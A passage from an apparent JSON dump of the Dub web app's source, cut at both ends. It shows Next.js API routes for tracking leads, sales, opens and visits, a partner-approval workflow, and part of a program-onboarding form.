compatibility with old cache format\n              // We could potentially remove after 24 hours\n              couponId: discount?.couponId ?? null,\n              couponTestId: discount?.couponTestId ?? null,\n            }\n          : null,\n      }),\n    });\n\n    return NextResponse.json(response, { headers: COMMON_CORS_HEADERS });\n  } catch (error) {\n    return handleAndReturnErrorResponse(error, COMMON_CORS_HEADERS);\n  }\n});\n\nexport const OPTIONS = () => {\n  return new Response(null, {\n    status: 204,\n    headers: COMMON_CORS_HEADERS,\n  });\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/track/lead/client/route.ts",
    "content": "import {\n  getHostnameFromRequest,\n  verifyAnalyticsAllowedHostnames,\n} from \"@/lib/analytics/verify-analytics-allowed-hostnames\";\nimport { trackLead } from \"@/lib/api/conversions/track-lead\";\nimport { COMMON_CORS_HEADERS } from \"@/lib/api/cors\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withPublishableKey } from \"@/lib/auth/publishable-key\";\nimport { trackLeadRequestSchema } from \"@/lib/zod/schemas/leads\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/track/lead/client – Track a lead conversion event on the client side\nexport const POST = withPublishableKey(\n  async ({ req, workspace }) => {\n    const body = await parseRequestBody(req);\n\n    const allowRequest = verifyAnalyticsAllowedHostnames({\n      allowedHostnames: (workspace?.allowedHostnames ?? []) as string[],\n      req,\n    });\n\n    if (!allowRequest) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: `Request origin '${getHostnameFromRequest(req)}' is not included in the allowed hostnames for this workspace. Update your allowed hostnames here: https://app.dub.co/settings/tracking`,\n      });\n    }\n\n    const {\n      clickId,\n      eventName,\n      eventQuantity,\n      customerExternalId,\n      customerName,\n      customerEmail,\n      customerAvatar,\n      mode,\n      metadata,\n    } = trackLeadRequestSchema.parse(body);\n\n    const response = await trackLead({\n      clickId,\n      eventName,\n      eventQuantity,\n      customerExternalId,\n      customerName,\n      customerEmail,\n      customerAvatar,\n      mode,\n      metadata,\n      rawBody: body,\n      workspace,\n    });\n\n    return NextResponse.json(response, { headers: COMMON_CORS_HEADERS });\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n\nexport const OPTIONS = () => {\n  return new Response(null, {\n    status: 204,\n    headers: COMMON_CORS_HEADERS,\n  });\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/track/lead/route.ts",
    "content": "import { trackLead } from \"@/lib/api/conversions/track-lead\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { trackLeadRequestSchema } from \"@/lib/zod/schemas/leads\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// POST /api/track/lead – Track a lead conversion event\nexport const POST = withWorkspace(\n  async ({ req, workspace }) => {\n    const body = await parseRequestBody(req);\n\n    const {\n      clickId,\n      eventName,\n      eventQuantity,\n      customerExternalId: newExternalId,\n      externalId: oldExternalId, // deprecated (but we'll support it for backwards compatibility)\n      customerId: oldCustomerId, // deprecated (but we'll support it for backwards compatibility)\n      customerName,\n      customerEmail,\n      customerAvatar,\n      mode,\n      metadata,\n    } = trackLeadRequestSchema\n      .extend({\n        // we if clickId is undefined/nullish, we'll coerce into an empty string\n        clickId: z.string().trim().nullish(),\n        // add backwards compatibility\n        customerExternalId: z.string().trim().nullish(),\n        externalId: z.string().trim().nullish(),\n        customerId: z.string().trim().nullish(),\n      })\n      .parse(body);\n\n    const customerExternalId = newExternalId || oldExternalId || oldCustomerId;\n\n    if (!customerExternalId) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"customerExternalId is required\",\n      });\n    }\n\n    const response = await trackLead({\n      clickId: clickId ?? \"\",\n      eventName,\n      eventQuantity,\n      customerExternalId,\n      customerName,\n      customerEmail,\n      customerAvatar,\n      mode,\n      metadata,\n      rawBody: body,\n      workspace,\n    });\n\n    return NextResponse.json(response);\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/track/open/route.ts",
    "content": "import { COMMON_CORS_HEADERS } from \"@/lib/api/cors\";\nimport { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { recordClickCache } from \"@/lib/api/links/record-click-cache\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withAxiom } from \"@/lib/axiom/server\";\nimport { DeepLinkClickData } from \"@/lib/middleware/utils/cache-deeplink-click-data\";\nimport { getIdentityHash } from \"@/lib/middleware/utils/get-identity-hash\";\nimport { getLinkViaEdge } from \"@/lib/planetscale\";\nimport { recordClick } from \"@/lib/tinybird\";\nimport { RedisLinkProps } from \"@/lib/types\";\nimport { formatRedisLink, redis, redisGlobalWithTimeout } from \"@/lib/upstash\";\nimport {\n  trackOpenRequestSchema,\n  trackOpenResponseSchema,\n} from \"@/lib/zod/schemas/opens\";\nimport { LOCALHOST_IP, nanoid } from \"@dub/utils\";\nimport { ipAddress, waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/track/open – Track an open event for deep link\nexport const POST = withAxiom(async (req) => {\n  try {\n    const { deepLink: deepLinkUrl, dubDomain } = trackOpenRequestSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    const ip = process.env.VERCEL === \"1\" ? ipAddress(req) : LOCALHOST_IP;\n    const identityHash = await getIdentityHash(req);\n\n    if (!deepLinkUrl) {\n      // Probabilistic IP-based tracking\n      if (ip) {\n        // if ip address is present, check if there's a cached click\n        console.log(`Checking cache for ${ip}:${dubDomain}:*`);\n\n        // Get all iOS click cache keys for this IP address\n        const [_, cacheKeysForDomain] = await redis.scan(0, {\n          match: `deepLinkClickCache:${ip}:${dubDomain}:*`,\n          count: 10,\n        });\n\n        if (cacheKeysForDomain.length > 0) {\n          const cachedData = await redis.get<DeepLinkClickData>(\n            cacheKeysForDomain[0],\n          );\n\n          if (cachedData) {\n            return NextResponse.json(\n              trackOpenResponseSchema.parse(cachedData),\n              {\n                headers: COMMON_CORS_HEADERS,\n              },\n            );\n          }\n        }\n      }\n\n      return NextResponse.json(\n        trackOpenResponseSchema.parse({\n          clickId: null,\n          link: null,\n        }),\n        { headers: COMMON_CORS_HEADERS },\n      );\n    }\n\n    const deepLink = new URL(deepLinkUrl);\n\n    const domain = deepLink.hostname.replace(/^www\\./, \"\").toLowerCase();\n    const key = deepLink.pathname.slice(1) || \"_root\"; // Remove leading slash, default to _root if empty\n\n    let [cachedClickId, cachedLink] = await Promise.all([\n      redisGlobalWithTimeout\n        .get<string>(recordClickCache._createKey({ domain, key, identityHash }))\n        .catch(() => null),\n      redisGlobalWithTimeout\n        .get<RedisLinkProps>(linkCache._createKey({ domain, key }))\n        .catch(() => null),\n    ]);\n\n    // assign a new clickId if there's no cached clickId\n    // else, reuse the cached clickId\n    const clickId = cachedClickId ?? nanoid(16);\n\n    if (!cachedLink) {\n      const link = await getLinkViaEdge({\n        domain,\n        key,\n      });\n\n      if (!link) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: `Deep link not found: ${deepLink}`,\n        });\n      }\n\n      cachedLink = formatRedisLink(link as any);\n\n      waitUntil(linkCache.set(link as any));\n    }\n\n    if (!cachedLink.projectId) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"Deep link does not belong to a workspace.\",\n      });\n    }\n\n    const linkData = {\n      id: cachedLink.id,\n      domain,\n      key,\n      url: cachedLink.url,\n    };\n\n    // if there's no cached clickId, track the click event\n    if (!cachedClickId) {\n      const clickData = await recordClick({\n        req,\n        clickId,\n        workspaceId: cachedLink.projectId,\n        linkId: cachedLink.id,\n        domain,\n        key,\n        url: cachedLink.url,\n        programId: cachedLink.programId,\n        partnerId: cachedLink.partnerId,\n        skipRatelimit: true,\n        shouldCacheClickId: true,\n        trigger: \"deeplink\",\n      });\n\n      // return early with clickId = null if no click data was recorded (bot detected)\n      if (!clickData) {\n        return NextResponse.json(\n          trackOpenResponseSchema.parse({\n            clickId: null,\n            link: linkData,\n          }),\n          { headers: COMMON_CORS_HEADERS },\n        );\n      }\n    }\n\n    const response = trackOpenResponseSchema.parse({\n      clickId,\n      link: linkData,\n    });\n\n    return NextResponse.json(response, { headers: COMMON_CORS_HEADERS });\n  } catch (error) {\n    return handleAndReturnErrorResponse(error, COMMON_CORS_HEADERS);\n  }\n});\n\nexport const OPTIONS = () => {\n  return new Response(null, {\n    status: 204,\n    headers: COMMON_CORS_HEADERS,\n  });\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/track/sale/client/route.ts",
    "content": "import {\n  getHostnameFromRequest,\n  verifyAnalyticsAllowedHostnames,\n} from \"@/lib/analytics/verify-analytics-allowed-hostnames\";\nimport { trackSale } from \"@/lib/api/conversions/track-sale\";\nimport { COMMON_CORS_HEADERS } from \"@/lib/api/cors\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withPublishableKey } from \"@/lib/auth/publishable-key\";\nimport { trackSaleRequestSchema } from \"@/lib/zod/schemas/sales\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/track/sale/client – Track a sale conversion event on the client side\nexport const POST = withPublishableKey(\n  async ({ req, workspace }) => {\n    const body = await parseRequestBody(req);\n\n    const allowRequest = verifyAnalyticsAllowedHostnames({\n      allowedHostnames: (workspace?.allowedHostnames ?? []) as string[],\n      req,\n    });\n\n    if (!allowRequest) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: `Request origin '${getHostnameFromRequest(req)}' is not included in the allowed hostnames for this workspace. Update your allowed hostnames here: https://app.dub.co/settings/tracking`,\n      });\n    }\n\n    const {\n      customerExternalId,\n      customerName,\n      customerEmail,\n      customerAvatar,\n      clickId,\n      amount,\n      currency,\n      eventName,\n      paymentProcessor,\n      invoiceId,\n      leadEventName,\n      metadata,\n    } = trackSaleRequestSchema.parse(body);\n\n    if (!customerExternalId) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"customerExternalId is required\",\n      });\n    }\n\n    const response = await trackSale({\n      customerExternalId,\n      customerName,\n      customerEmail,\n      customerAvatar,\n      clickId,\n      amount,\n      currency,\n      eventName,\n      paymentProcessor,\n      invoiceId,\n      leadEventName,\n      metadata,\n      workspace,\n      rawBody: body,\n    });\n\n    return NextResponse.json(response, { headers: COMMON_CORS_HEADERS });\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n\nexport const OPTIONS = () => {\n  return new Response(null, {\n    status: 204,\n    headers: COMMON_CORS_HEADERS,\n  });\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/track/sale/route.ts",
    "content": "import { trackSale } from \"@/lib/api/conversions/track-sale\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { trackSaleRequestSchema } from \"@/lib/zod/schemas/sales\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// POST /api/track/sale – Track a sale conversion event\nexport const POST = withWorkspace(\n  async ({ req, workspace }) => {\n    const body = await parseRequestBody(req);\n\n    let {\n      customerExternalId: newExternalId,\n      externalId: oldExternalId, // deprecated\n      customerId: oldCustomerId, // deprecated\n      customerName,\n      customerEmail,\n      customerAvatar,\n      clickId,\n      amount,\n      currency,\n      eventName,\n      paymentProcessor,\n      invoiceId,\n      leadEventName,\n      metadata,\n    } = trackSaleRequestSchema\n      .extend({\n        // add backwards compatibility\n        customerExternalId: z.string().nullish(),\n        externalId: z.string().nullish(),\n        customerId: z.string().nullish(),\n      })\n      .parse(body);\n\n    const customerExternalId = newExternalId || oldExternalId || oldCustomerId;\n\n    if (!customerExternalId) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"customerExternalId is required\",\n      });\n    }\n\n    const response = await trackSale({\n      customerExternalId,\n      customerName,\n      customerEmail,\n      customerAvatar,\n      clickId,\n      amount,\n      currency,\n      eventName,\n      paymentProcessor,\n      invoiceId,\n      leadEventName,\n      metadata,\n      workspace,\n      rawBody: body,\n    });\n\n    return NextResponse.json(response);\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/track/visit/route.ts",
    "content": "import { verifyAnalyticsAllowedHostnames } from \"@/lib/analytics/verify-analytics-allowed-hostnames\";\nimport { COMMON_CORS_HEADERS } from \"@/lib/api/cors\";\nimport { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { recordClickCache } from \"@/lib/api/links/record-click-cache\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withAxiom } from \"@/lib/axiom/server\";\nimport { getIdentityHash } from \"@/lib/middleware/utils/get-identity-hash\";\nimport { getLinkViaEdge, getWorkspaceViaEdge } from \"@/lib/planetscale\";\nimport { recordClick } from \"@/lib/tinybird\";\nimport { RedisLinkProps } from \"@/lib/types\";\nimport { formatRedisLink, redisGlobalWithTimeout } from \"@/lib/upstash\";\nimport { isValidUrl, nanoid } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/track/visit – Track a visit event from the client-side\nexport const POST = withAxiom(async (req) => {\n  try {\n    const { domain, url, referrer } = await parseRequestBody(req);\n\n    if (!domain || !url) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Missing domain or url\",\n      });\n    }\n\n    const urlObj = new URL(url);\n\n    let key = urlObj.pathname.slice(1);\n    if (key === \"\") {\n      key = \"_root\";\n    }\n\n    const identityHash = await getIdentityHash(req);\n\n    let [clickId, cachedLink] = await Promise.all([\n      redisGlobalWithTimeout\n        .get<string>(recordClickCache._createKey({ domain, key, identityHash }))\n        .catch(() => null),\n      redisGlobalWithTimeout\n        .get<RedisLinkProps>(linkCache._createKey({ domain, key }))\n        .catch(() => null),\n    ]);\n\n    // if the clickId is already cached in Redis, return it\n    if (clickId) {\n      return NextResponse.json({ clickId }, { headers: COMMON_CORS_HEADERS });\n    }\n\n    // Otherwise, track the visit event\n    clickId = nanoid(16);\n\n    if (!cachedLink) {\n      const link = await getLinkViaEdge({\n        domain,\n        key,\n      });\n\n      if (!link) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: `Link not found for domain: ${domain} and key: ${key}.`,\n        });\n      }\n\n      cachedLink = formatRedisLink(link as any);\n\n      waitUntil(linkCache.set(link as any));\n    }\n\n    const finalUrl = isValidUrl(url) ? url : cachedLink.url;\n\n    waitUntil(\n      (async () => {\n        const workspace = await getWorkspaceViaEdge({\n          workspaceId: cachedLink.projectId!,\n        });\n\n        const allowedHostnames = workspace?.allowedHostnames as string[];\n\n        if (\n          verifyAnalyticsAllowedHostnames({\n            allowedHostnames,\n            req,\n          })\n        ) {\n          await recordClick({\n            req,\n            clickId,\n            workspaceId: cachedLink.projectId,\n            linkId: cachedLink.id,\n            domain,\n            key,\n            url: finalUrl,\n            skipRatelimit: true,\n            ...(referrer && { referrer }),\n            trigger: \"pageview\",\n            shouldCacheClickId: true,\n          });\n        }\n      })(),\n    );\n\n    return NextResponse.json(\n      {\n        clickId,\n      },\n      {\n        headers: COMMON_CORS_HEADERS,\n      },\n    );\n  } catch (error) {\n    return handleAndReturnErrorResponse(error, COMMON_CORS_HEADERS);\n  }\n});\n\nexport const OPTIONS = () => {\n  return new Response(null, {\n    status: 204,\n    headers: COMMON_CORS_HEADERS,\n  });\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/workflows/partner-approved/route.ts",
    "content": "import { createDiscountCode } from \"@/lib/api/discounts/create-discount-code\";\nimport { createPartnerDefaultLinks } from \"@/lib/api/partners/create-partner-default-links\";\nimport { getGroupRewardsAndBounties } from \"@/lib/api/partners/get-group-rewards-and-bounties\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { executeWorkflows } from \"@/lib/api/workflows/execute-workflows\";\nimport { triggerDraftBountySubmissionCreation } from \"@/lib/bounty/api/trigger-draft-bounty-submissions\";\nimport { createWorkflowLogger } from \"@/lib/cron/qstash-workflow-logger\";\nimport { polyfillSocialMediaFields } from \"@/lib/social-utils\";\nimport { PlanProps } from \"@/lib/types\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport { EnrolledPartnerSchema } from \"@/lib/zod/schemas/partners\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport PartnerApplicationApproved from \"@dub/email/templates/partner-application-approved\";\nimport { prisma } from \"@dub/prisma\";\nimport { serve } from \"@upstash/workflow/nextjs\";\nimport * as z from \"zod/v4\";\n\nconst payloadSchema = z.object({\n  programId: z.string(),\n  partnerId: z.string(),\n  userId: z.string(),\n});\n\ntype Payload = z.infer<typeof payloadSchema>;\n\n/**\n * Partner Approved Workflow\n *\n * This workflow is triggered when a partner's application to join a program is approved.\n * It performs the following steps in sequence:\n *\n * 1. **Create Default Links**: Creates partner-specific default links based on the group's\n *    configuration.\n *\n * 2. **Create Discount Codes**: If the group's discount has auto-provisioning enabled,\n *    creates a discount code for the partner.\n *\n * 3. **Send Email Notification**: Sends an approval email to all partner users who have\n *    opted in to receive application approval notifications.\n *\n * 4. **Send Webhook**: Notifies the workspace via webhook that a new partner has been\n *    enrolled in the program.\n *\n * 5. **Trigger Draft Bounty Submission Creation**: Triggers the creation of\n *    draft bounty submissions for the partner if they are eligible for performance bounties.\n *\n * 6. **Execute Dub Workflows**: Executes Dub workflows using the “partnerEnrolled” trigger.\n */\n\n// POST /api/workflows/partner-approved\nexport const { POST } = serve<Payload>(\n  async (context) => {\n    const input = context.requestPayload;\n    const { programId, partnerId, userId } = input;\n\n    const logger = createWorkflowLogger({\n      workflowId: \"partner-approved\",\n      workflowRunId: context.workflowRunId,\n    });\n\n    const { program, partner, links, ...programEnrollment } =\n      await getProgramEnrollmentOrThrow({\n        programId,\n        partnerId,\n        include: {\n          program: true,\n          partner: true,\n          links: true,\n        },\n      });\n\n    const { groupId } = programEnrollment;\n\n    // Step 1: Create partner default links\n    await context.run(\"create-default-links\", async () => {\n      logger.info({\n        message: \"Started executing workflow step 'create-default-links'.\",\n        data: input,\n      });\n\n      if (!groupId) {\n        logger.error({\n          message: `The partner ${partnerId} is not associated with any group.`,\n        });\n        return;\n      }\n\n      let { partnerGroupDefaultLinks, utmTemplate } =\n        await prisma.partnerGroup.findUniqueOrThrow({\n          where: {\n            id: groupId,\n          },\n          include: {\n            partnerGroupDefaultLinks: true,\n            utmTemplate: true,\n          },\n        });\n\n      if (partnerGroupDefaultLinks.length === 0) {\n        logger.error({\n          message: `Group ${groupId} does not have any default links.`,\n        });\n        return;\n      }\n\n      // Skip existing default links\n      for (const link of links) {\n        if (link.partnerGroupDefaultLinkId) {\n          partnerGroupDefaultLinks = partnerGroupDefaultLinks.filter(\n            (defaultLink) => defaultLink.id !== link.partnerGroupDefaultLinkId,\n          );\n        }\n      }\n\n      // Find the workspace\n      const workspace = await prisma.project.findUniqueOrThrow({\n        where: {\n          id: program.workspaceId,\n        },\n        select: {\n          id: true,\n          plan: true,\n        },\n      });\n\n      const partnerLinks = await createPartnerDefaultLinks({\n        workspace: {\n          id: workspace.id,\n          plan: workspace.plan as PlanProps,\n        },\n        program: {\n          id: program.id,\n          defaultFolderId: program.defaultFolderId,\n        },\n        partner: {\n          id: partner.id,\n          name: partner.name,\n          email: partner.email!,\n          tenantId: programEnrollment.tenantId ?? undefined,\n        },\n        group: {\n          defaultLinks: partnerGroupDefaultLinks,\n          utmTemplate: utmTemplate,\n        },\n        userId,\n      });\n\n      logger.info({\n        message: `Created ${partnerLinks.length} partner default links.`,\n        data: partnerLinks.map(({ id, url, shortLink }) => ({\n          id,\n          url,\n          shortLink,\n        })),\n      });\n\n      return;\n    });\n\n    // Step 2: Auto-provision discount code if enabled\n    await context.run(\"create-discount-codes\", async () => {\n      if (!groupId) {\n        return;\n      }\n\n      const group = await prisma.partnerGroup.findUnique({\n        where: {\n          id: groupId,\n        },\n        include: {\n          discount: true,\n        },\n      });\n\n      if (!group?.discount?.autoProvisionEnabledAt) {\n        return;\n      }\n\n      const workspace = await prisma.project.findUniqueOrThrow({\n        where: {\n          id: program.workspaceId,\n        },\n        select: {\n          stripeConnectId: true,\n        },\n      });\n\n      if (!workspace.stripeConnectId) {\n        return;\n      }\n\n      const partnerLinks = await prisma.link.findMany({\n        where: {\n          programId,\n          partnerId,\n          partnerGroupDefaultLinkId: {\n            not: null,\n          },\n          discountCode: {\n            is: null,\n          },\n        },\n        select: {\n          id: true,\n        },\n      });\n\n      if (partnerLinks.length === 0) {\n        return;\n      }\n\n      for (const link of partnerLinks) {\n        try {\n          await createDiscountCode({\n            stripeConnectId: workspace.stripeConnectId,\n            partner,\n            link,\n            discount: group.discount,\n          });\n        } catch (error) {\n          console.error(\n            `Failed to create discount code for link ${link.id}:`,\n            error,\n          );\n        }\n      }\n    });\n\n    // Step 3: Send email to partner application approved\n    await context.run(\"send-email\", async () => {\n      logger.info({\n        message: \"Started executing workflow step 'send-email'.\",\n        data: input,\n      });\n\n      if (!groupId) {\n        logger.error({\n          message: `The partner ${partnerId} is not associated with any group.`,\n        });\n        return;\n      }\n\n      // Find the partner users to send email notification\n      const partnerUsers = await prisma.partnerUser.findMany({\n        where: {\n          partnerId,\n          notificationPreferences: {\n            applicationApproved: true,\n          },\n          user: {\n            email: {\n              not: null,\n            },\n          },\n        },\n        select: {\n          user: {\n            select: {\n              id: true,\n              email: true,\n            },\n          },\n        },\n      });\n\n      if (partnerUsers.length === 0) {\n        logger.info({\n          message: `No partner users found for partner ${partnerId} to send email notification.`,\n        });\n        return;\n      }\n\n      logger.info({\n        message: `Sending email notification to ${partnerUsers.length} partner users.`,\n        data: partnerUsers,\n      });\n\n      const rewardsAndBounties = await getGroupRewardsAndBounties({\n        programId,\n        groupId: programEnrollment.groupId || program.defaultGroupId,\n      });\n\n      // Resend batch email\n      const { data, error } = await sendBatchEmail(\n        partnerUsers.map(({ user }) => ({\n          variant: \"notifications\",\n          to: user.email!,\n          subject: `Your application to join ${program.name} partner program has been approved!`,\n          replyTo: program.supportEmail || \"noreply\",\n          react: PartnerApplicationApproved({\n            program: {\n              name: program.name,\n              logo: program.logo,\n              slug: program.slug,\n            },\n            partner: {\n              name: partner.name,\n              email: user.email!,\n              payoutsEnabled: Boolean(partner.payoutsEnabledAt),\n            },\n            ...rewardsAndBounties,\n          }),\n        })),\n        {\n          idempotencyKey: `application-approved/${programEnrollment.id}`,\n        },\n      );\n\n      if (data) {\n        logger.info({\n          message: `Sent emails to ${partnerUsers.length} partner users.`,\n          data: data,\n        });\n      }\n\n      if (error) {\n        throw new Error(error.message);\n      }\n    });\n\n    // Step 4: Send webhook to workspace\n    await context.run(\"send-webhook\", async () => {\n      logger.info({\n        message: \"Started executing workflow step 'send-webhook'.\",\n        data: input,\n      });\n\n      const partnerPlatforms = await prisma.partnerPlatform.findMany({\n        where: {\n          partnerId,\n        },\n      });\n\n      const enrolledPartner = EnrolledPartnerSchema.parse({\n        ...programEnrollment,\n        ...partner,\n        ...polyfillSocialMediaFields(partnerPlatforms),\n        id: partner.id,\n        status: programEnrollment.status,\n        links,\n      });\n\n      const workspace = await prisma.project.findUniqueOrThrow({\n        where: {\n          id: program.workspaceId,\n        },\n        select: {\n          id: true,\n          webhookEnabled: true,\n        },\n      });\n\n      await sendWorkspaceWebhook({\n        workspace,\n        trigger: \"partner.enrolled\",\n        data: enrolledPartner,\n      });\n\n      logger.info({\n        message: `Sent \"partner.enrolled\" webhook to workspace ${workspace.id}.`,\n      });\n    });\n\n    // Step 5: Trigger draft bounty submission creation\n    await context.run(\"trigger-draft-bounty-submission-creation\", async () => {\n      logger.info({\n        message:\n          \"Started executing workflow step 'trigger-draft-bounty-submission-creation'.\",\n        data: input,\n      });\n\n      await triggerDraftBountySubmissionCreation({\n        programId,\n        partnerIds: [partnerId],\n      });\n\n      logger.info({\n        message: `Triggered draft bounty submission creation for partner ${partnerId} in program ${programId}.`,\n      });\n    });\n\n    // Step 6: Execute Dub workflows using the “partnerEnrolled” trigger.\n    await context.run(\"execute-workflows\", async () => {\n      logger.info({\n        message:\n          \"Started executing workflow step 'execute-workflows' for the trigger 'partnerEnrolled'.\",\n        data: input,\n      });\n\n      await executeWorkflows({\n        trigger: \"partnerEnrolled\",\n        identity: {\n          workspaceId: program.workspaceId,\n          programId,\n          partnerId,\n        },\n      });\n    });\n  },\n  {\n    initialPayloadParser: (requestPayload) => {\n      return payloadSchema.parse(JSON.parse(requestPayload));\n    },\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/(new-program)/[slug]/layout.tsx",
    "content": "import WorkspaceAuth from \"app/app.dub.co/(dashboard)/[slug]/auth\";\nimport { ReactNode } from \"react\";\n\nexport default function NewProgramWorkspaceLayout({\n  children,\n}: {\n  children: ReactNode;\n}) {\n  return <WorkspaceAuth>{children}</WorkspaceAuth>;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/(new-program)/[slug]/program/new/form.tsx",
    "content": "\"use client\";\n\nimport { onboardProgramAction } from \"@/lib/actions/partners/onboard-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ProgramData } from \"@/lib/types\";\nimport { ProgramLinkConfiguration } from \"@/ui/partners/program-link-configuration\";\nimport { Button, FileUpload, Input, useMediaQuery } from \"@dub/ui\";\nimport { Plus } from \"lucide-react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { Controller, useFormContext } from \"react-hook-form\";\nimport { toast } from \"sonner\";\n\nexport function Form() {\n  const router = useRouter();\n  const { isMobile } = useMediaQuery();\n  const [isUploading, setIsUploading] = useState(false);\n  const [hasSubmitted, setHasSubmitted] = useState(false);\n  const { id: workspaceId, slug: workspaceSlug, mutate } = useWorkspace();\n\n  const {\n    register,\n    handleSubmit,\n    watch,\n    control,\n    setValue,\n    formState: { isSubmitting },\n  } = useFormContext<ProgramData>();\n\n  const [name, url, domain, logo] = watch([\"name\", \"url\", \"domain\", \"logo\"]);\n\n  const { executeAsync, isPending } = useAction(onboardProgramAction, {\n    onSuccess: () => {\n      router.push(`/${workspaceSlug}/program/new/rewards`);\n      mutate();\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n      setHasSubmitted(false);\n    },\n  });\n\n  const onSubmit = async (data: ProgramData) => {\n    if (!workspaceId) return;\n\n    setHasSubmitted(true);\n    await executeAsync({\n      ...data,\n      workspaceId,\n      step: \"get-started\",\n    });\n  };\n\n  // Handle logo upload\n  const handleUpload = async (file: File) => {\n    setIsUploading(true);\n\n    try {\n      const response = await fetch(\n        `/api/workspaces/${workspaceId}/upload-url`,\n        {\n          method: \"POST\",\n          body: JSON.stringify({\n            folder: \"program-logos\",\n          }),\n        },\n      );\n\n      if (!response.ok) {\n        throw new Error(\"Failed to get signed URL for upload.\");\n      }\n\n      const { signedUrl, destinationUrl } = await response.json();\n\n      const uploadResponse = await fetch(signedUrl, {\n        method: \"PUT\",\n        body: file,\n        headers: {\n          \"Content-Type\": file.type,\n          \"Content-Length\": file.size.toString(),\n        },\n      });\n\n      if (!uploadResponse.ok) {\n        throw new Error(\"Failed to upload to signed URL\");\n      }\n\n      setValue(\"logo\", destinationUrl, { shouldDirty: true });\n      toast.success(`${file.name} uploaded!`);\n    } catch (e) {\n      toast.error(\"Failed to upload logo\");\n    } finally {\n      setIsUploading(false);\n    }\n  };\n\n  const buttonDisabled =\n    isSubmitting || isPending || !name || !url || !domain || !logo;\n\n  return (\n    <form onSubmit={handleSubmit(onSubmit)} className=\"space-y-10\">\n      <div>\n        <label className=\"block text-sm font-medium text-neutral-800\">\n          Company name\n        </label>\n        <p className=\"mt-1 text-sm text-neutral-600\">\n          The name of your company\n        </p>\n        <Input\n          {...register(\"name\", { required: true })}\n          placeholder=\"Acme\"\n          autoFocus={!isMobile}\n          className=\"mt-3 max-w-full\"\n        />\n      </div>\n\n      <div>\n        <label className=\"block text-sm font-medium text-neutral-800\">\n          Logo\n        </label>\n        <p className=\"mb-4 mt-1 text-sm text-neutral-600\">\n          A square logo that will be used in various parts of your program\n        </p>\n        <div className=\"flex w-full items-center justify-center gap-2 rounded-lg border border-neutral-200 p-1\">\n          <Controller\n            control={control}\n            name=\"logo\"\n            rules={{ required: true }}\n            render={({ field }) => (\n              <FileUpload\n                accept=\"images\"\n                className=\"size-14 rounded-lg\"\n                iconClassName=\"size-4 text-neutral-800\"\n                icon={Plus}\n                variant=\"plain\"\n                loading={isUploading}\n                imageSrc={field.value}\n                readFile\n                onChange={({ file }) => handleUpload(file)}\n                content={null}\n                maxFileSizeMB={2}\n              />\n            )}\n          />\n        </div>\n      </div>\n\n      <div className=\"space-y-6\">\n        <div className=\"space-y-1\">\n          <h2 className=\"text-base font-medium text-neutral-900\">\n            Referral link\n          </h2>\n          <p className=\"text-sm font-normal text-neutral-600\">\n            Set the custom 